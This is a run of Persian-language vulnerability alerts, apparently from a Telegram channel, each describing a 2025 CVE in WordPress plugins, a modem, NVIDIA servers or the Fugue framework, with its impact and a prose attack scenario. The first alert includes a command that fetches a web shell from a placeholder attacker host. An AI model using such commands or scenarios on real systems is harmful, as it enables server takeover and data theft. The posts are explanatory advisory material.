منشأ این آسیب‌پذیری در تابع sneeit_articles_pagination_callback() نهفته است. این تابع، ورودی دریافت شده از کاربر را بدون اعتبارسنجی و پاک‌سازی کافی، مستقیماً به تابع حساس call_user_func() در PHP ارسال می‌کند. این نقص به مهاجمان احرازهویت‌نشده (Unauthenticated) اجازه می‌دهد تا توابع و دستورات دلخواه خود را بر روی سرور اجرا کنند.

Impact:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به کنترل کامل وب‌سایت و سرور میزبان آن شود. برخی از مهم‌ترین تأثیرات عبارتند از:

کنترل کامل سرور: مهاجم می‌تواند دستورات دلخواه را در سطح سیستم‌عامل سرور اجرا کرده و کنترل کامل آن را به دست بگیرد.

تزریق درهای پشتی (Backdoors): امکان نصب بدافزارها و شل‌های تحت وب (Web Shells) برای حفظ دسترسی پایدار و مخفیانه به سرور.

سرقت اطلاعات: دسترسی و سرقت اطلاعات حساس مانند اطلاعات پایگاه داده، اطلاعات کاربران، و فایل‌های حیاتی وب‌سایت.

ایجاد کاربران با دسترسی بالا: مهاجم می‌تواند حساب‌های کاربری جدید با سطح دسترسی مدیر (Administrator) در وردپرس ایجاد کند و از طریق پنل مدیریتی، تغییرات مخربی را اعمال نماید.

Scenario:
یک سناریوی حمله محتمل به شرح زیر است:

۱. یک مهاجم از راه دور، وب‌سایت‌هایی که از نسخه آسیب‌پذیر افزونه Sneeit Framework استفاده می‌کنند را با ابزارهای اسکن خودکار شناسایی می‌کند.

۲. مهاجم بدون نیاز به هیچ‌گونه نام کاربری یا رمز عبور، یک درخواست HTTP مخرب به سمت وب‌سایت هدف ارسال می‌کند. این درخواست، تابع آسیب‌پذیر sneeit_articles_pagination_callback() را هدف قرار می‌دهد.

۳. در پارامترهای این درخواست، مهاجم یک محموله (Payload) ویژه قرار می‌دهد. برای مثال، از تابع call_user_func() سوءاستفاده کرده و تابع system را با دستوری مانند wget https://attacker.com/shell.php -O /tmp/shell.php فراخوانی می‌کند.

۴. سرور این دستور را اجرا کرده و یک فایل بدافزار (Web Shell) را از سرور مهاجم دانلود و در یک مسیر قابل دسترس ذخیره می‌کند. از این لحظه به بعد، مهاجم از طریق آن شل، دسترسی کامل به سرور خواهد داشت و می‌تواند اقدام به ایجاد کاربر مدیر جدید یا سرقت اطلاعات کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13559

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری: CVE-2025-13559
افزونه: EduKart Pro
نوع: ارتقاء سطح دسترسی (Privilege Escalation)
سطح خطر: بحرانی (Critical)

---

شرح آسیب‌پذیری:
آسیب‌پذیری ارتقاء سطح دسترسی در افزونه EduKart Pro برای وردپرس، در تمام نسخه‌های 1.0.3 و پایین‌تر شناسایی شده است. این ضعف امنیتی به دلیل عدم اعتبارسنجی نقش کاربری در تابع edukart_pro_register_user_front_end به وجود آمده است.

در نتیجه، یک مهاجم غیر احراز هویت شده (Unauthenticated) می‌تواند در هنگام ثبت‌نام، نقش کاربری خود را به صورت دلخواه، از جمله administrator، تعیین کرده و به این ترتیب به دسترسی کامل مدیریتی در وب‌سایت دست یابد.

میزان تأثیر:
بهره‌برداری موفق از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا کنترل کامل وب‌سایت را به دست گیرد. پیامدهای اصلی این حمله عبارتند از:

✔️ کنترل کامل بر محتوا، کاربران و تنظیمات وب‌سایت.
✔️ سرقت اطلاعات حساس کاربران، مانند اطلاعات شخصی و مالی.
✔️ بارگذاری شل (Shell) و بدافزار بر روی سرور برای حملات آتی.
✔️ تغییر چهره (Deface) وب‌سایت و آسیب به اعتبار برند.
✔️ استفاده از وب‌سایت آلوده به عنوان بستری برای توزیع بدافزار یا حملات فیشینگ.

سناریوی حمله:
یک مهاجم با شناسایی وب‌سایتی که از نسخه آسیب‌پذیر افزونه EduKart Pro استفاده می‌کند، فرآیند حمله را آغاز می‌کند.

۱. مهاجم به صفحه ثبت‌نام ایجاد شده توسط افزونه مراجعه می‌کند.

۲. با استفاده از ابزارهایی مانند Burp Suite، درخواست ثبت‌نام را رهگیری (Intercept) کرده و یا یک درخواست POST دستکاری‌شده به سرور ارسال می‌کند.

۳. در پارامترهای ارسالی، مقدار مربوط به نقش کاربری (مثلاً پارامتری با نام role) را برابر با administrator قرار می‌دهد.

۴. سرور به دلیل نقص در منطق برنامه، این درخواست را بدون اعتبارسنجی پردازش کرده و یک حساب کاربری جدید با بالاترین سطح دسترسی (مدیر کل) ایجاد می‌کند.

۵. مهاجم اکنون با استفاده از این حساب کاربری، کنترل کامل وب‌سایت را در اختیار دارد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63729

🔴 Risk Level: CRITICAL (Score: 9.0)

گزارش تحلیل آسیب‌پذیری | CVE-2025-63729

---

📄 توضیحات آسیب‌پذیری:
یک آسیب‌پذیری افشای اطلاعات حساس با شناسه CVE-2025-63729 در دستگاه مودم Syrotech SY-GPON-1110-WDONT با فریم‌ور نسخه SYRO_3.7L_3.1.02-240517 کشف شده است.

این ضعف امنیتی به مهاجم اجازه می‌دهد تا با تحلیل فایل فریم‌ور دستگاه، به فایل‌های حیاتی زیرساخت کلید عمومی (PKI) دسترسی پیدا کند. فایل‌هایی نظیر کلید خصوصی SSL، گواهی‌نامه مرجع (CA Certificate)، گواهی‌نامه SSL و گواهی‌نامه‌های کلاینت در فرمت .pem به صورت محافظت‌نشده در مسیر /etc فایل‌سیستمِ فریم‌ور ذخیره شده‌اند.

---

🎯 تاثیر:
استخراج این اطلاعات می‌تواند منجر به حملات بسیار مخربی شود. مهاجم با در اختیار داشتن کلید خصوصی SSL قادر خواهد بود:

- شنود و رمزگشایی ترافیک: کلیه اطلاعات رمزگذاری‌شده (HTTPS) که بین کاربران و دستگاه رد و بدل می‌شود، مانند نام کاربری و رمز عبور پنل مدیریت، قابل شنود و رمزگشایی (Decryption) است. این امر محرمانگی داده‌ها را به طور کامل از بین می‌برد.

- جعل هویت دستگاه (Impersonation): مهاجم می‌تواند با استفاده از گواهی‌نامه و کلید خصوصی سرقت‌شده، خود را به عنوان دستگاه واقعی جا زده و کاربران را به صفحات جعلی (Phishing) هدایت کند یا در ارتباطات شبکه اختلال ایجاد نماید.

- اجرای حملات مرد میانی (MitM): این آسیب‌پذیری بستر را برای اجرای حملات Man-in-the-Middle فراهم می‌کند، جایی که مهاجم می‌تواند ترافیک را مشاهده، دستکاری یا مسدود کند.

---

🎭 سناریو حمله:
یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. دریافت فریم‌ور: مهاجم فایل فریم‌ور آسیب‌پذیر را از وب‌سایت سازنده یا از طریق دسترسی فیزیکی به یک دستگاه دانلود می‌کند.

۲. استخراج محتویات: با استفاده از ابزارهای تحلیل فریم‌ور مانند binwalk، مهاجم فایل‌سیستم را از درون فریم‌ور استخراج می‌کند.

۳. کشف کلیدها: مهاجم به مسیر /etc در فایل‌سیستم استخراج‌شده مراجعه کرده و فایل‌های حساس با پسوند .pem را که حاوی کلیدها و گواهی‌نامه‌ها هستند، کپی می‌کند.

۴. اجرای حمله MitM: مهاجم در شبکه محلی (LAN/Wi-Fi) که دستگاه هدف در آن قرار دارد، مستقر می‌شود. سپس با راه‌اندازی یک حمله MitM، ترافیک کاربر به سمت پنل مدیریت مودم را رهگیری کرده و با استفاده از کلید خصوصی استخراج‌شده، ارتباط HTTPS را رمزگشایی می‌کند و به اطلاعات لاگین مدیر دست می‌یابد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-33187

🔴 Risk Level: CRITICAL (Score: 9.3)

تحلیل آسیب‌پذیری CVE-2025-33187 در سرورهای NVIDIA
---

آسیب‌پذیری:
آسیب‌پذیری با شناسه CVE-2025-33187 در کامپوننت SROOT سرورهای قدرتمند NVIDIA DGX Spark GB10 شناسایی شده است. این ضعف امنیتی به یک مهاجم که از قبل دارای دسترسی با سطح بالا (Privileged Access) بر روی سیستم است، اجازه می‌دهد تا مکانیزم‌های امنیتی را دور زده و به نواحی محافظت‌شده در سطح سخت‌افزار (SoC - System on a Chip) دسترسی پیدا کند.

تأثیر:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به پیامدهای بسیار خطرناک و گسترده‌ای شود. با توجه به اینکه سرورهای DGX برای پردازش‌های سنگین هوش مصنوعی و داده‌های حساس استفاده می‌شوند، تأثیرات اصلی شامل موارد زیر است:

اجرای کد دلخواه (Code Execution): مهاجم می‌تواند کنترل کامل سیستم را در دست گرفته و هرگونه کد مخربی را اجرا کند.

افشای اطلاعات (Information Disclosure): امکان سرقت مدل‌های هوش مصنوعی، داده‌های آموزشی محرمانه و سایر اطلاعات حساس ذخیره‌شده یا در حال پردازش بر روی سرور.

دستکاری داده‌ها (Data Tampering): مهاجم قادر به تغییر یا حذف داده‌های حیاتی و نتایج پردازش‌ها خواهد بود.

ممانعت از سرویس (Denial of Service): امکان از کار انداختن کامل سرور و متوقف کردن عملیات پردازشی بسیار گران‌قیمت.

افزایش سطح دسترسی (Escalation of Privileges): یک مهاجم با دسترسی محدود می‌تواند به بالاترین سطح دسترسی (root) در سیستم دست یابد.

سناریو:
یک مهاجم را در نظر بگیرید که از طریق یک آسیب‌پذیری دیگر یا با استفاده از اعتبارنامه‌های ضعیف، موفق به کسب یک دسترسی اولیه و محدود به یکی از سرورهای DGX در یک مرکز داده شده است. این مهاجم سپس با بهره‌برداری از آسیب‌پذیری CVE-2025-33187، به طور مستقیم به لایه‌های امنیتی سخت‌افزاری نفوذ می‌کند.

در این مرحله، او می‌تواند یک روت‌کیت (Rootkit) پایدار و غیرقابل شناسایی در سطح SoC نصب کند که حتی پس از راه‌اندازی مجدد سیستم نیز باقی بماند. این دسترسی عمیق به او اجازه می‌دهد تا به صورت مخفیانه به مدل‌های هوش مصنوعی در حال آموزش دسترسی پیدا کرده، آن‌ها را به سرقت ببرد یا نتایج آن‌ها را دستکاری کند. در سناریویی دیگر، مهاجم می‌تواند با ارسال دستورات مخرب به سخت‌افزار، کل سیستم پردازشی را از دسترس خارج کرده و خسارت مالی و عملیاتی سنگینی به سازمان وارد نماید.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-62703

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری CVE-2025-62703
اجرای کد از راه دور در فریم‌ورک Fugue

---

📜 شرح آسیب‌پذیری:
یک آسیب‌پذیری اجرای کد از راه دور (RCE) با شناسه CVE-2025-62703 در فریم‌ورک Fugue نسخه‌های 0.9.2 و قدیمی‌تر شناسایی شده است. مشکل اصلی ناشی از فرآیند Deserialization ناامن داده‌های Pickle در کامپوننت FlaskRPCServer است.

تابع _decode() در فایل fugue/rpc/flask.py داده‌های سریالایز شده دریافتی از کلاینت را مستقیماً با استفاده از تابع cloudpickle.loads() پردازش می‌کند. این تابع هیچ‌گونه اعتبارسنجی یا پاک‌سازی روی داده‌های ورودی انجام نمی‌دهد. در نتیجه، یک مهاجم می‌تواند با ارسال یک شیء پایتون مخرب که به صورت pickle سریالایز شده است، کد دلخواه خود را بر روی سرور اجرا کند. این آسیب‌پذیری در کامیت 6f25326 برطرف شده است.

💥 تأثیر:
تأثیر اصلی این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution) با سطح دسترسی پروسه‌ی در حال اجرای Fugue بر روی سرور قربانی است. این امر به مهاجم اجازه می‌دهد تا کنترل کامل سیستم را در دست بگیرد.

پیامدهای احتمالی عبارتند از:
* سرقت اطلاعات حساس، مانند کلیدهای API، اطلاعات پایگاه داده و داده‌های کاربران.
* نصب بدافزار، باج‌افزار یا ابزارهای دسترسی از راه دور (RAT).
* ایجاد دسترسی پایدار (Persistence) در شبکه داخلی سازمان.
* استفاده از سرور آلوده به عنوان یک نقطه پرش برای حمله به سایر سیستم‌های موجود در شبکه.

این آسیب‌پذیری دارای شدت بحرانی (Critical) تلقی می‌شود و نیازمند به‌روزرسانی فوری است.

🎯 سناریو حمله:
یک مهاجم، سروری را که از نسخه آسیب‌پذیر Fugue RPC استفاده می‌کند، شناسایی می‌کند.

مهاجم یک اسکریپت پایتون مخرب، برای مثال جهت ایجاد یک reverse shell، آماده کرده و آن را با استفاده از کتابخانه pickle به یک رشته سریالایز شده تبدیل می‌کند.

سپس، این رشته مخرب را در قالب یک درخواست به سرور FlaskRPCServer ارسال می‌کند.

سرور Fugue بدون هیچ‌گونه بررسی امنیتی، داده دریافتی را توسط تابع _decode() و با استفاده از cloudpickle.loads() دی‌سریالایز می‌کند. این عمل باعث اجرای کد مخرب جاسازی شده در داده می‌شود.

در نهایت، کد مهاجم بر روی سرور اجرا شده، یک اتصال معکوس به ماشین مهاجم برقرار می‌شود و او کنترل کامل سرور را به دست می‌آورد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13595

🔴 Risk Level: CRITICAL (Score: 9.8)

شرح آسیب‌پذیری:

یک آسیب‌پذیری حیاتی با شناسه CVE-2025-13595 در افزونه CIBELES AI برای وردپرس شناسایی شده است. این آسیب‌پذیری از نوع "آپلود فایل دلخواه" (Arbitrary File Upload) بوده و تمام نسخه‌های افزونه تا نسخه 1.10.8 (شامل این نسخه) را تحت تأثیر قرار می‌دهد.

منشأ مشکل در فایل actualizador_git.php است که فاقد بررسی لازم برای سطح دسترسی کاربر (Missing Capability Check) می‌باشد. این نقص به مهاجمان احرازهویت‌نشده (بدون نیاز به نام کاربری و رمز عبور) اجازه می‌دهد تا با ارسال یک درخواست دستکاری‌شده، سرور را وادار به دانلود یک مخزن دلخواه از GitHub کرده و فایل‌های اصلی افزونه را با فایل‌های موجود در آن مخزن بازنویسی کنند.

تأثیرات:

خطر اصلی و نهایی این آسیب‌پذیری، امکان اجرای کد از راه دور (Remote Code Execution - RCE) است. با موفقیت‌آمیز بودن حمله، مهاجم می‌تواند کنترل کامل وب‌سایت و حتی سرور را به دست آورد. برخی از پیامدهای این حمله عبارتند از:

- سرقت اطلاعات حساس کاربران و پایگاه داده.
- تزریق بدافزار، کدهای مخرب و نصب درب پشتی (Backdoor).
- تغییر چهره سایت (Defacement).
- استفاده از سرور برای حملات بیشتر مانند حملات DDoS.

سناریوی حمله:

یک مهاجم می‌تواند از این آسیب‌پذیری به روش زیر بهره‌برداری کند:

۱. ابتدا، مهاجم یک وب‌سایت وردپرسی را که از نسخه آسیب‌پذیر افزونه CIBELES AI استفاده می‌کند، شناسایی می‌کند.

۲. سپس، یک مخزن عمومی (Public Repository) در GitHub ایجاد کرده و فایل‌های مخرب خود (مانند یک وب‌شل یا درب پشتی به زبان PHP) را با ساختاری مشابه فایل‌های افزونه در آن قرار می‌دهد.

۳. مهاجم یک درخواست HTTP خاص به فایل /wp-content/plugins/cibeles-ai/actualizador_git.php در سایت هدف ارسال می‌کند و آدرس مخزن مخرب خود را به عنوان پارامتر به آن می‌دهد.

۴. اسکریپت آسیب‌پذیر بدون هیچ‌گونه بررسی هویتی، مخزن گیت‌هاب مهاجم را دانلود کرده و فایل‌های اصلی افزونه را با فایل‌های مخرب جایگزین می‌کند.

۵. اکنون فایل مخرب آپلود شده در دسترس است و مهاجم با مراجعه به آدرس آن می‌تواند دستورات دلخواه خود را روی سرور اجرا کرده و کنترل کامل آن را به دست بگیرد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13597

🔴 Risk Level: CRITICAL (Score: 9.8)

گزارش تحلیل آسیب‌پذیری: CVE-2025-13597

🚨 شرح آسیب‌پذیری:

آسیب‌پذیری از نوع آپلود فایل دلخواه در افزونه وردپرس AI Feeds شناسایی شده است. این ضعف امنیتی در تمام نسخه‌های این افزونه تا نسخه 1.0.11 (شامل این نسخه) وجود دارد.

ریشه مشکل، عدم وجود بررسی سطح دسترسی (Capability Check) در فایل actualizador_git.php است. این نقص به مهاجمان احرازهویت‌نشده اجازه می‌دهد تا مخازن (Repository) دلخواه خود را از گیت‌هاب دانلود کرده و فایل‌های اصلی افزونه را بر روی سرور بازنویسی (Overwrite) کنند. این فرآیند می‌تواند منجر به اجرای کد از راه دور (RCE) شود.

💥 تأثیر:

تأثیر اصلی این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution) است. از آنجایی که مهاجم برای بهره‌برداری از این ضعف نیاز به هیچ‌گونه احرازهویتی ندارد، شدت خطر بسیار بالا ارزیابی می‌شود.

پیامدهای احتمالی عبارتند از:
- به خطر افتادن کامل سرور و کنترل کامل وب‌سایت
- سرقت اطلاعات حساس کاربران و پایگاه داده
- دیفیس (Deface) شدن وب‌سایت
- استفاده از سرور برای توزیع بدافزار یا حملات بیشتر

🎭 سناریو:

یک مهاجم احرازهویت‌نشده، وب‌سایتی را که از نسخه آسیب‌پذیر افزونه AI Feeds استفاده می‌کند، شناسایی می‌کند.

سپس، یک مخزن گیت‌هاب مخرب ایجاد می‌کند که حاوی یک درب پشتی (Backdoor) به زبان PHP است و ساختار فایل‌های آن مشابه افزونه اصلی است.

مهاجم با ارسال یک درخواست دستکاری‌شده به فایل actualizador_git.php، از آسیب‌پذیری سوءاستفاده کرده و افزونه را فریب می‌دهد تا خود را از مخزن گیت‌هاب مخرب "به‌روزرسانی" کند.

در نتیجه، فایل‌های مخرب جایگزین فایل‌های اصلی افزونه می‌شوند. اکنون مهاجم می‌تواند به درب پشتی آپلود شده دسترسی پیدا کرده، دستورات دلخواه را بر روی سرور اجرا کند و کنترل کامل وب‌سایت را در دست بگیرد.

---

توصیه می‌شود مدیران وب‌سایت‌هایی که از این افزونه استفاده می‌کنند، فوراً آن را به آخرین نسخه موجود به‌روزرسانی کرده یا در صورت عدم وجود نسخه امن، آن را غیرفعال و حذف نمایند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64657

🔴 Risk Level: CRITICAL (Score: 9.8)


🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-64656

🔴 Risk Level: CRITICAL (Score: 9.4)

📜 شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-64656 یک ضعف امنیتی از نوع Out-of-bounds Read (خواندن خارج از محدوده حافظه) در مؤلفه Application Gateway است.

این مشکل زمانی رخ می‌دهد که برنامه هنگام پردازش درخواست‌های ورودی، داده‌ها را از یک آدرس حافظه که خارج از مرزهای بافرِ اختصاص‌داده‌شده قرار دارد، می‌خواند. یک مهاجم غیرمجاز و راه دور می‌تواند با ارسال یک بسته شبکه خاص و دستکاری‌شده، این آسیب‌پذیری را تحریک کرده و باعث نشت اطلاعات حساس از حافظه یا ناپایداری سرویس شود.


💥 تأثیرات:

تأثیر اصلی این آسیب‌پذیری، افزایش سطح دسترسی (Privilege Escalation) است. مهاجمی که موفق به بهره‌برداری از این ضعف شود، می‌تواند به دسترسی‌های بالاتری در سیستم هدف دست یابد.

پیامدهای احتمالی عبارتند از:
- دستیابی به کنترل کامل بر روی Application Gateway.
- سرقت اطلاعات حساس مانند کلیدهای رمزنگاری، توکن‌های نشست یا اطلاعات کاربران.
- اجرای کد دلخواه با سطح دسترسی بالا (مانند root یا SYSTEM).
- دور زدن مکانیزم‌های امنیتی و نفوذ به شبکه‌های داخلی محافظت‌شده.


🎭 سناریوی حمله:

یک مهاجم غیرمجاز، بدون نیاز به احراز هویت، یک درخواست دستکاری‌شده به سمت Application Gateway آسیب‌پذیر ارسال می‌کند. این درخواست به گونه‌ای طراحی شده است که سرویس را وادار به خواندن داده از یک بخش غیرمجاز در حافظه کند.

داده‌های نشت‌کرده از حافظه ممکن است شامل آدرس‌ها یا مقادیری باشد که به مهاجم اجازه می‌دهد ساختار حافظه برنامه را شناسایی کند. سپس مهاجم با استفاده از این اطلاعات، حمله دوم و دقیق‌تری را برای اجرای کد دلخواه ترتیب می‌دهد.

در نهایت، با اجرای موفقیت‌آمیز کد، مهاجم می‌تواند دسترسی خود را از یک کاربر عادی یا غیرمجاز به سطح مدیر سیستم ارتقا داده و کنترل کامل دستگاه را به دست گیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal